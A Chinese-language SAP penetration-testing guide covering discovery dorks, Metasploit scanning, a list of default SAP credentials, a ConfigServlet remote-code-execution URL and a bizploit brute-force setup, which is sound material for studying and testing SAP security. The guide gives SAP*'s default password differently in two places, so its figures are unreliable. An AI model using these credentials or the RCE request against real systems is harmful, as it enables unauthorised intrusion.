# Pentesting SAP
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{% embed url="" %} ## SAP简介 SAP代表数据处理中的系统应用和产品。SAP从定义上来说，既是ERP（企业资源规划）软件的名称，也是公司的名称。 SAP系统由多个完全集成的模块组成，几乎涵盖了业务管理的各个方面。 每个SAP实例（或SID）由三层组成：数据库、应用和表示层)，每个系统通常由四个实例组成：开发、测试、QA和生产。 每个层面都可以在一定程度上被利用，但**攻击数据库**可以获得最大的效果。 每个SAP实例被划分为客户端。每个客户端都有一个名为SAP\*的用户，相当于应用程序中的“root”。 在初始创建时，此用户SAP\*会获得一个默认密码：“060719992”（更多默认密码见下文）。 如果您知道在测试或开发环境中这些**密码经常没有更改**，您会感到惊讶！ 尝试使用用户名adm访问任何服务器的shell。 暴力破解可能有所帮助，但可能存在账户锁定机制。 ## 发现 > 下一节主要来自用户shipcod3的内容！ * 检查应用范围或程序简介以进行测试。注意主机名或系统实例，以连接到SAP GUI。 * 如果应用程序面向互联网或公共，使用OSINT（开源情报）、Shodan和Google Dorks检查文件、子域和有趣的信息： ``` inurl:50000/irj/portal inurl:IciEventService/IciEventConf inurl:/wsnavigator/jsps/test.jsp inurl:/irj/go/km/docs/ https://www.shodan.io/search?query=sap+portal https://www.shodan.io/search?query=SAP+Netweaver https://www.shodan.io/search?query=SAP+J2EE+Engine ``` * 这是 [http://SAP:50000/irj/portal](http://sap:50000/irj/portal) 的页面 ![SAP 登录界面](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap%20logon.jpeg) * 使用 nmap 检查开放端口和已知服务（sap 路由器，webdnypro，web 服务，web 服务器等） * 如果有 web 服务器运行，请爬取 URL。 * 如果某些端口上有 web 服务器，请对目录进行模糊测试（可以使用 Burp Intruder）。以下是 SecLists 项目提供的一些良好字典，用于查找默认 SAP ICM 路径和其他有趣的目录或文件： [https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls\_SAP.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-SAP.txt) * 使用 SAP SERVICE DISCOVERY 辅助 Metasploit 模块来枚举 SAP 实例/服务/组件： ``` msf > use auxiliary/scanner/sap/sap_service_discovery msf auxiliary(sap_service_discovery) > show options Module options (auxiliary/scanner/sap/sap_service_discovery): Name Current Setting Required Description ---- --------------- -------- ----------- CONCURRENCY 10 yes The number of concurrent ports to check per host INSTANCES 00-01 yes Instance numbers to scan (e.g. 00-05,00-99) RHOSTS yes The target address range or CIDR identifier THREADS 1 yes The number of concurrent threads TIMEOUT 1000 yes The socket connect timeout in milliseconds msf auxiliary(sap_service_discovery) > set rhosts 192.168.96.101 rhosts => 192.168.96.101 msf auxiliary(sap_service_discovery) > run [*] 192.168.96.101: - [SAP] Beginning service Discovery '192.168.96.101' ``` ### 测试厚客户端 / SAP GUI 以下是连接到 SAP GUI 的命令 `sapgui <系统编号>` * 检查默认凭据（在 Bugcrowd 的漏洞评级分类中，这被视为 P1 -> 服务器安全配置错误 | 使用默认凭据 | 生产服务器）: ``` # SAP* - High privileges - Hardcoded kernel user SAP*:06071992:* SAP*:PASS:* # IDEADM - High Privileges - Only in IDES systems IDEADM:admin:* # DDIC - High privileges - User has SAP_ALL DDIC:19920706:000,001 # EARLYWATCH - High privileges EARLYWATCH:SUPPORT:066 # TMSADM - Medium privileges TMSADM:PASSWORD:000 TMSADM:$1Pawd2&:000 # SAPCPIC - Medium privileges SAPCPIC:ADMIN:000,001 # SOLMAN dialog default users and passwords. # For more info check: # https://www.troopers.de/media/filer_public/37/34/3734ebb3-989c-4750-9d48-ea478674991a/an_easy_way_into_your_sap_systems_v30.pdf # https://launchpad.support.sap.com/#/notes/2293011 # SOLMAN_ADMIN - High privileges - Only on SOLMAN systems SOLMAN_ADMIN:init1234:* # SAPSUPPORT - High privileges - Only on SOLMAN or satellite systems SAPSUPPORT:init1234:* # SOLMAN - High privileges - Only on SOLMAN systems #SOLMAN:init1234:* # Trial systems # ------------- # AS ABAP 7.40 SP08 Developer Edition: # https://blogs.sap.com/2015/10/14/sap-netweaver-as-abap-740-sp8-developer-edition-to-download-consise-installation-instruction/ DDIC:DidNPLpw2014:001 SAP*:DidNPLpw2014:001 DEVELOPER:abCd1234:001 BWDEVELOPER:abCd1234:001 # AS ABAP 7.50 SP02 Developer Edition: # https://blogs.sap.com/2016/11/03/sap-nw-as-abap-7.50-sp2-developer-edition-to-download-consise-installation-guide/ # AS ABAP 7.51 SP02 Developer Edition: # https://blogs.sap.com/2017/09/04/sap-as-abap-7.51-sp2-developer-edition-to-download-concise-installation-guide/ DDIC:Appl1ance:000,001 SAP*:Appl1ance:000,001 DEVELOPER:Appl1ance:001 BWDEVELOPER:Appl1ance:001 # AS ABAP 7.51 SP01 Developer Edition: # https://blogs.sap.com/2018/09/13/as-abap-7.52-sp01-developer-edition-concise-installation-guide/ # AS ABAP 7.52 SP04 Developer Edition: # https://blogs.sap.com/2019/10/01/as-abap-7.52-sp04-developer-edition-concise-installation-guide/ DDIC:Down1oad:000,001 SAP*:Down1oad:000,001 DEVELOPER:Down1oad:001 BWDEVELOPER:Down1oad:001 ``` * 运行Wireshark，然后使用获取的凭据对客户端（SAP GUI）进行身份验证，因为一些客户端在没有SSL的情况下传输凭据。已知有两个Wireshark插件可以解析SAP DIAG协议使用的主要标头：SecureAuth Labs SAP dissection插件和Positive Research Center的SAP DIAG插件。 * 检查特权升级，例如低权限用户使用某些SAP事务代码（tcodes）： * SU01 - 创建和维护用户 * SU01D - 显示用户 * SU10 - 用于大规模维护 * SU02 - 手动创建配置文件 * SM19 - 安全审计 - 配置 * SE84 - SAP R/3授权信息系统 * 检查是否可以在客户端执行系统命令/运行脚本。 * 检查是否可以在BAPI Explorer上执行XSS ## 测试Web界面 * 爬取URL（参见发现阶段）。 * 像在发现阶段那样对URL进行模糊测试。这是[http://SAP:50000/index.html](http://sap:50000/index.html)的外观： ![SAP Index Page](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/index.jpeg) * 寻找常见的Web漏洞（参考OWASP十大），因为某些地方存在XSS、RCE、XXE等漏洞。 * 查看Jason Haddix的[“The Bug Hunters Methodology”](https://github.com/jhaddix/tbhm)以测试Web漏洞。 * 通过动词篡改进行身份验证绕过？也许：) * 打开`http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#`，然后点击“Choose”按钮，然后在打开的窗口中按“Search”。您应该能够看到SAP用户列表（漏洞参考：[ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/)） * 凭据是否通过HTTP提交？如果是，则根据Bugcrowd的[漏洞评级分类](https://bugcrowd.com/vulnerability-rating-taxonomy)被视为P3：基于HTTP的身份验证和会话管理不安全 | 弱登录功能。提示：也可以查看[http://SAP:50000/startPage](http://sap:50000/startPage)或登录门户：) ![SAP Start Page](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/startPage.jpeg) * 尝试`/irj/go/km/navigation/`以查看可能的目录列表或身份验证绕过 * [http://SAP/sap/public/info](http://sap/sap/public/info)包含一些有趣的信息： ```xml 011 4102 BIG IE3 randomnum randomnum BRQ BRQ randomnum ORACLE 740 324 AIX -25200 192.168.1.8 749 randomnum 192.168.1.8 ``` ## 攻击！ * 检查是否在旧服务器或技术上运行，如Windows 2000。 * 计划可能的利用/攻击，有许多用于SAP发现（辅助模块）和利用的Metasploit模块： ``` msf > search sap Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- auxiliary/admin/maxdb/maxdb_cons_exec 2008-01-09 normal SAP MaxDB cons.exe Remote Command Injection auxiliary/admin/sap/sap_configservlet_exec_noauth 2012-11-01 normal SAP ConfigServlet OS Command Execution auxiliary/admin/sap/sap_mgmt_con_osexec normal SAP Management Console OSExecute auxiliary/dos/sap/sap_soap_rfc_eps_delete_file normal SAP SOAP EPS_DELETE_FILE File Deletion auxiliary/dos/windows/http/pi3web_isapi 2008-11-13 normal Pi3Web ISAPI DoS auxiliary/dos/windows/llmnr/ms11_030_dnsapi 2011-04-12 normal Microsoft Windows DNSAPI.dll LLMNR Buffer Underrun DoS auxiliary/scanner/http/sap_businessobjects_user_brute normal SAP BusinessObjects User Bruteforcer auxiliary/scanner/http/sap_businessobjects_user_brute_web normal SAP BusinessObjects Web User Bruteforcer auxiliary/scanner/http/sap_businessobjects_user_enum normal SAP BusinessObjects User Enumeration auxiliary/scanner/http/sap_businessobjects_version_enum normal SAP BusinessObjects Version Detection auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt normal SAP CTC Service Verb Tampering User Management auxiliary/scanner/sap/sap_hostctrl_getcomputersystem normal SAP Host Agent Information Disclosure auxiliary/scanner/sap/sap_icf_public_info normal SAP ICF /sap/public/info Service Sensitive Information Gathering auxiliary/scanner/sap/sap_icm_urlscan normal SAP URL Scanner auxiliary/scanner/sap/sap_mgmt_con_abaplog normal SAP Management Console ABAP Syslog Disclosure auxiliary/scanner/sap/sap_mgmt_con_brute_login normal SAP Management Console Brute Force auxiliary/scanner/sap/sap_mgmt_con_extractusers normal SAP Management Console Extract Users auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints normal SAP Management Console Get Access Points auxiliary/scanner/sap/sap_mgmt_con_getenv normal SAP Management Console getEnvironment auxiliary/scanner/sap/sap_mgmt_con_getlogfiles normal SAP Management Console Get Logfile auxiliary/scanner/sap/sap_mgmt_con_getprocesslist normal SAP Management Console GetProcessList auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter normal SAP Management Console Get Process Parameters auxiliary/scanner/sap/sap_mgmt_con_instanceproperties normal SAP Management Console Instance Properties auxiliary/scanner/sap/sap_mgmt_con_listlogfiles normal SAP Management Console List Logfiles auxiliary/scanner/sap/sap_mgmt_con_startprofile normal SAP Management Console getStartProfile auxiliary/scanner/sap/sap_mgmt_con_version normal SAP Management Console Version Detection auxiliary/scanner/sap/sap_router_info_request normal SAPRouter Admin Request auxiliary/scanner/sap/sap_router_portscanner normal SAPRouter Port Scanner auxiliary/scanner/sap/sap_service_discovery normal SAP Service Discovery auxiliary/scanner/sap/sap_smb_relay normal SAP SMB Relay Abuse auxiliary/scanner/sap/sap_soap_bapi_user_create1 normal SAP /sap/bc/soap/rfc SOAP Service BAPI_USER_CREATE1 Function User Creation auxiliary/scanner/sap/sap_soap_rfc_brute_login normal SAP SOAP Service RFC_PING Login Brute Forcer auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Injection auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injection auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing normal SAP SOAP RFC EPS_GET_DIRECTORY_LISTING Directories Information Disclosure auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence normal SAP SOAP RFC PFL_CHECK_OS_FILE_EXISTENCE File Existence Check auxiliary/scanner/sap/sap_soap_rfc_ping normal SAP /sap/bc/soap/rfc SOAP Service RFC_PING Function Service Discovery auxiliary/scanner/sap/sap_soap_rfc_read_table normal SAP /sap/bc/soap/rfc SOAP Service RFC_READ_TABLE Function Dump Data auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir normal SAP SOAP RFC RZL_READ_DIR_LOCAL Directory Contents Listing auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface normal SAP /sap/bc/soap/rfc SOAP Service SUSR_RFC_USER_INTERFACE Function User Creation auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Execution auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec normal SAP SOAP RFC SXPG_COMMAND_EXECUTE auxiliary/scanner/sap/sap_soap_rfc_system_info normal SAP /sap/bc/soap/rfc SOAP Service RFC_SYSTEM_INFO Function Sensitive Information Gathering auxiliary/scanner/sap/sap_soap_th_saprel_disclosure normal SAP /sap/bc/soap/rfc SOAP Service TH_SAPREL Function Information Disclosure auxiliary/scanner/sap/sap_web_gui_brute_login normal SAP Web GUI Login Brute Forcer exploit/multi/sap/sap_mgmt_con_osexec_payload 2011-03-08 excellent SAP Management Console OSExecute Payload Execution exploit/multi/sap/sap_soap_rfc_sxpg_call_system_exec 2013-03-26 great SAP SOAP RFC SXPG_CALL_SYSTEM Remote Command Execution exploit/multi/sap/sap_soap_rfc_sxpg_command_exec 2012-05-08 great SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution exploit/windows/browser/enjoysapgui_comp_download 2009-04-15 excellent EnjoySAP SAP GUI ActiveX Control Arbitrary File Download exploit/windows/browser/enjoysapgui_preparetoposthtml 2007-07-05 normal EnjoySAP SAP GUI ActiveX Control Buffer Overflow exploit/windows/browser/sapgui_saveviewtosessionfile 2009-03-31 normal SAP AG SAPgui EAI WebViewer3D Buffer Overflow exploit/windows/http/sap_configservlet_exec_noauth 2012-11-01 great SAP ConfigServlet Remote Code Execution exploit/windows/http/sap_host_control_cmd_exec 2012-08-14 average SAP NetWeaver HostControl Command Injection exploit/windows/http/sapdb_webtools 2007-07-05 great SAP DB 7.4 WebTools Buffer Overflow exploit/windows/lpd/saplpd 2008-02-04 good SAP SAPLPD 6.28 Buffer Overflow exploit/windows/misc/sap_2005_license 2009-08-01 great SAP Business One License Manager 2005 Buffer Overflow exploit/windows/misc/sap_netweaver_dispatcher 2012-05-08 normal SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow ``` * 尝试使用一些已知的漏洞（查看Exploit-DB）或攻击，比如老但经典的“SAP ConfigServlet远程代码执行”在SAP门户中： ``` http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a ``` ![SAP配置Servlet RCE](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap_rce.jpeg) * 在执行发现阶段的bizploit脚本的`start`命令之前，您还可以添加以下内容以执行漏洞评估： ``` bizploit> plugins bizploit/plugins> vulnassess all bizploit/plugins> vulnassess config bruteLogin bizploit/plugins/vulnassess/config:bruteLogin> set type defaultUsers bizploit/plugins/vulnassess/config:bruteLogin> set tryHardcodedSAPStar True bizploit/plugins/vulnassess/config:bruteLogin> set tryUserAsPwd True bizploit/plugins/vulnassess/config:bruteLogin> back bizploit/plugins> vulnassess config registerExtServer bizploit/plugins/vulnassess/config:registerExtServer> set tpname evilgw bizploit/plugins/vulnassess/config:registerExtServer> back bizploit/plugins> vulnassess config checkRFCPrivs bizploit/plugins/vulnassess/config:checkRFCPrivs> set checkExtOSCommands True bizploit/plugins/vulnassess/config:checkRFCPrivs> back bizploit/plugins> vulnassess config icmAdmin bizploit/plugins/vulnassess/config:icmAdmin> set adminURL /sap/admin bizploit/plugins/vulnassess/config:icmAdmin> back bizploit/plugins> start bizploit/plugins> back bizploit> start ``` ## 测试中其他有用的工具 * [PowerSAP](https://github.com/airbus-seclab/powersap) - 用于评估 SAP 安全性的 Powershell 工具 * [Burp Suite](https://portswigger.net/burp) - 目录模糊测试和 Web 安全评估必备工具 * [pysap](https://github.com/SecureAuthCorp/pysap) - 用于构建 SAP 网络协议数据包的 Python 库 * - 帮助 nmap 检测 SAP/ERP ### 参考资料 * [使用 Metasploit 进行 SAP 渗透测试](http://information.rapid7.com/rs/rapid7/images/SAP%20Penetration%20Testing%20Using%20Metasploit%20Final.pdf) * - 用于半自动化执行 Bizploit 的脚本 * [SAP NetWeaver ABAP 安全配置第三部分：访问应用程序的默认密码](https://erpscan.com/press-center/blog/sap-netweaver-abap-security-configuration-part-2-default-passwords-for-access-to-the-application/) * [与 SAP 安全相关的 ABAP 事务代码列表](https://wiki.scn.sap.com/wiki/display/Security/List+of+ABAP-transaction+codes+related+to+SAP+security) * [攻破 SAP 门户](https://erpscan.com/wp-content/uploads/presentations/2012-HackerHalted-Breaking-SAP-Portal.pdf) * [前十大最有趣的 SAP 漏洞和攻击](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf) * [使用 bizploit 评估 SAP 生态系统的安全性：发现](https://www.onapsis.com/blog/assessing-security-sap-ecosystems-bizploit-discovery) * * *
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